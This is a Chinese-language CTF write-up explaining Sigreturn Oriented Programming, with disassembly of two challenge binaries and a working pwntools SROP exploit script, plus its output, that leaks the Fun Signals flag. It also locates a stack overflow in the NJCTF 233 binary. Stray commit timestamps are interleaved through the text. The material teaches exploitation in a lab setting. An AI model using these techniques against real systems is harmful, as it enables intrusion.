2017-11-19 14:04:12 +07:00
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# 6.4 pwn njctf2017 233
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- [题目复现](#题目复现)
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- [SROP 原理及题目解析](#srop-原理及题目解析)
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2017-11-21 16:11:08 +07:00
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- [Linux 系统调用](#Linux 系统调用)
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- [signal 机制](#signal-机制)
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- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
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- [njctf2017 233](#233)
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2017-11-19 14:04:12 +07:00
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- [Exploit](#exploit)
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- [参考资料](#参考资料)
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## 题目复现
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在 6.1 中我们看到了 blind ROP，这一节中再来看一种 ROP 技术，Sigreturn Oriented Programming。
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checksec 如下：
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```
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$ checksec -f 233
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 233
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```
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把程序运行起来：
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```
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2017-11-21 16:11:08 +07:00
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$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 &
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2017-11-19 14:04:12 +07:00
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```
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## SROP 原理及题目解析
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2017-11-21 16:11:08 +07:00
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#### Linux 系统调用
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在开始这一切之前，我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在
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`/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中，另外还需要查看 `/usr/include/bits/syscall.h`。
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一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用，它会先进行调用者特权级别的检查，然后进行压栈、跳转等操作，这无疑会浪费许多资源。从 Linux 2.6 开始，就出现了新的系统调用指令 `sysenter`/`sysexit`，前者用于从 Ring3 进入 Ring0，后者用于从 Ring0 返回 Ring3，它没有特权级别检查，也没有压栈的操作，所以执行速度更快。
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#### signal 机制
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sigreturn frame 因架构不同而不同，在 Linux 中也有了新的定义，但目前关于 srop 的利用也都是基于旧的 sigcontext，所以这里还是给出旧定义，仅当用户空间依然依赖它时才会使用它们：
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```
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# ifdef __i386__
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struct sigcontext {
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__u16 gs, __gsh;
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__u16 fs, __fsh;
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__u16 es, __esh;
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__u16 ds, __dsh;
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__u32 edi;
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__u32 esi;
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__u32 ebp;
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__u32 esp;
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__u32 ebx;
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__u32 edx;
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__u32 ecx;
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__u32 eax;
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__u32 trapno;
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__u32 err;
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__u32 eip;
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__u16 cs, __csh;
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__u32 eflags;
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__u32 esp_at_signal;
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__u16 ss, __ssh;
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struct _fpstate *fpstate;
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__u32 oldmask;
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__u32 cr2;
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};
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# else /* __x86_64__: */
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struct sigcontext {
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__u64 r8;
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__u64 r9;
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__u64 r10;
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__u64 r11;
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__u64 r12;
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__u64 r13;
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__u64 r14;
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__u64 r15;
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__u64 rdi;
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__u64 rsi;
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__u64 rbp;
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__u64 rbx;
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__u64 rdx;
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__u64 rax;
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__u64 rcx;
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__u64 rsp;
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__u64 rip;
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__u64 eflags; /* RFLAGS */
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__u16 cs;
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__u16 gs;
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__u16 fs;
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union {
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__u16 ss; /* If UC_SIGCONTEXT_SS */
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__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
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};
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__u64 err;
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__u64 trapno;
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__u64 oldmask;
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__u64 cr2;
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struct _fpstate *fpstate; /* Zero when no FPU context */
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# ifdef __ILP32__
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__u32 __fpstate_pad;
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# endif
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__u64 reserved1[8];
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};
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```
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在你使用 `ldd` 命令时，通常也会显示 vDSO，如下：
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```
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$ ldd /usr/bin/ls
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linux-vdso.so.1 (0x00007ffff7ffa000)
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libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000)
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libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000)
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/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000)
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```
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32 位程序则会显示 `linux-gate.so.1`，都是一个意思。
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#### BackdoorCTF2017 Fun Signals
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我们先来看一个简单的例子，一个 64 位静态链接的 srop，可以说是什么都没开。。。
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```
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$ checksec -f funsignals_player_bin
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin
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```
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```
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gdb-peda$ disassemble _start
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Dump of assembler code for function _start:
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0x0000000010000000 <+0>: xor eax,eax
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0x0000000010000002 <+2>: xor edi,edi
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0x0000000010000004 <+4>: xor edx,edx
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0x0000000010000006 <+6>: mov dh,0x4
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0x0000000010000008 <+8>: mov rsi,rsp
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0x000000001000000b <+11>: syscall
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0x000000001000000d <+13>: xor edi,edi
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0x000000001000000f <+15>: push 0xf
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0x0000000010000011 <+17>: pop rax
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0x0000000010000012 <+18>: syscall
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0x0000000010000014 <+20>: int3
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End of assembler dump.
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gdb-peda$ disassemble syscall
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Dump of assembler code for function syscall:
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0x0000000010000015 <+0>: syscall
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0x0000000010000017 <+2>: xor rdi,rdi
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0x000000001000001a <+5>: mov rax,0x3c
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0x0000000010000021 <+12>: syscall
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End of assembler dump.
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gdb-peda$ x/s flag
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0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
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```
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而且 flag 就在二进制文件里，只不过是在服务器上的那个里面，过程是完全一样的。
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首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`（调用号`0x0`），它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处，也就是栈上。第二个是 `sigreturn()`（调用号`0xf`），它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。
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那么怎样读取 flag 呢，需要一个 `write(1, &flag, 50)`，调用号为 `0x1`，而函数 `syscall` 正好为我们提供了 `syscall` 指令，构造 payload 如下：
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```python
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from pwn import *
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elf = ELF('./funsignals_player_bin')
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io = process('./funsignals_player_bin')
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# io = remote('hack.bckdr.in', 9034)
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context.clear()
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context.arch = "amd64"
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# Creating a custom frame
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frame = SigreturnFrame()
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frame.rax = constants.SYS_write
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frame.rdi = constants.STDOUT_FILENO
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frame.rsi = elf.symbols['flag']
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frame.rdx = 50
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frame.rip = elf.symbols['syscall']
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io.send(str(frame))
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io.interactive()
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```
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```
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$ python2 exp_funsignals.py
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[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
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Arch: amd64-64-little
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RELRO: No RELRO
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Stack: No canary found
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NX: NX disabled
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PIE: No PIE (0x10000000)
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RWX: Has RWX segments
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[+] Opening connection to 127.0.0.1 on port 10001: Done
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[*] Switching to interactive mode
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fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
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```
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如果连接的是远程服务器，`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。
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#### njctf2017 233
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这是一个 32 位的程序。
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```
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gdb-peda$ disassemble main
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Dump of assembler code for function main:
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0x0000063b <+0>: push ebp
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0x0000063c <+1>: mov ebp,esp
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0x0000063e <+3>: push ebx
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0x0000063f <+4>: and esp,0xfffffff0
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0x00000642 <+7>: sub esp,0x20
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0x00000645 <+10>: call 0x510 <__x86.get_pc_thunk.bx>
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0x0000064a <+15>: add ebx,0x197e
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0x00000650 <+21>: mov DWORD PTR [esp+0x8],0x400
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0x00000658 <+29>: lea eax,[esp+0x16]
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0x0000065c <+33>: mov DWORD PTR [esp+0x4],eax
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0x00000660 <+37>: mov DWORD PTR [esp],0x0
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0x00000667 <+44>: call 0x480 <read@plt>
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0x0000066c <+49>: lea eax,[esp+0x16]
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0x00000670 <+53>: mov DWORD PTR [esp],eax
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0x00000673 <+56>: call 0x4c0 <atoi@plt>
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0x00000678 <+61>: mov ebx,DWORD PTR [ebp-0x4]
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0x0000067b <+64>: leave
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0x0000067c <+65>: ret
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End of assembler dump.
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```
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这个程序看起来很简单，就是使用 read 函数读取 `0x400` 个字节到 `[esp+0x16]` 的地方，然后将其传给 atoi。很明显的栈溢出：
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```
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gdb-peda$ pattern_offset 0x41284141
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1093157185 found at offset: 22
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```
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2017-11-19 14:04:12 +07:00
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## Exploit
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完整的 exp 如下，其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中：
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## 参考资料
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- [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
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- [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
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- [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori)
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2017-11-21 16:11:08 +07:00
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- [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)
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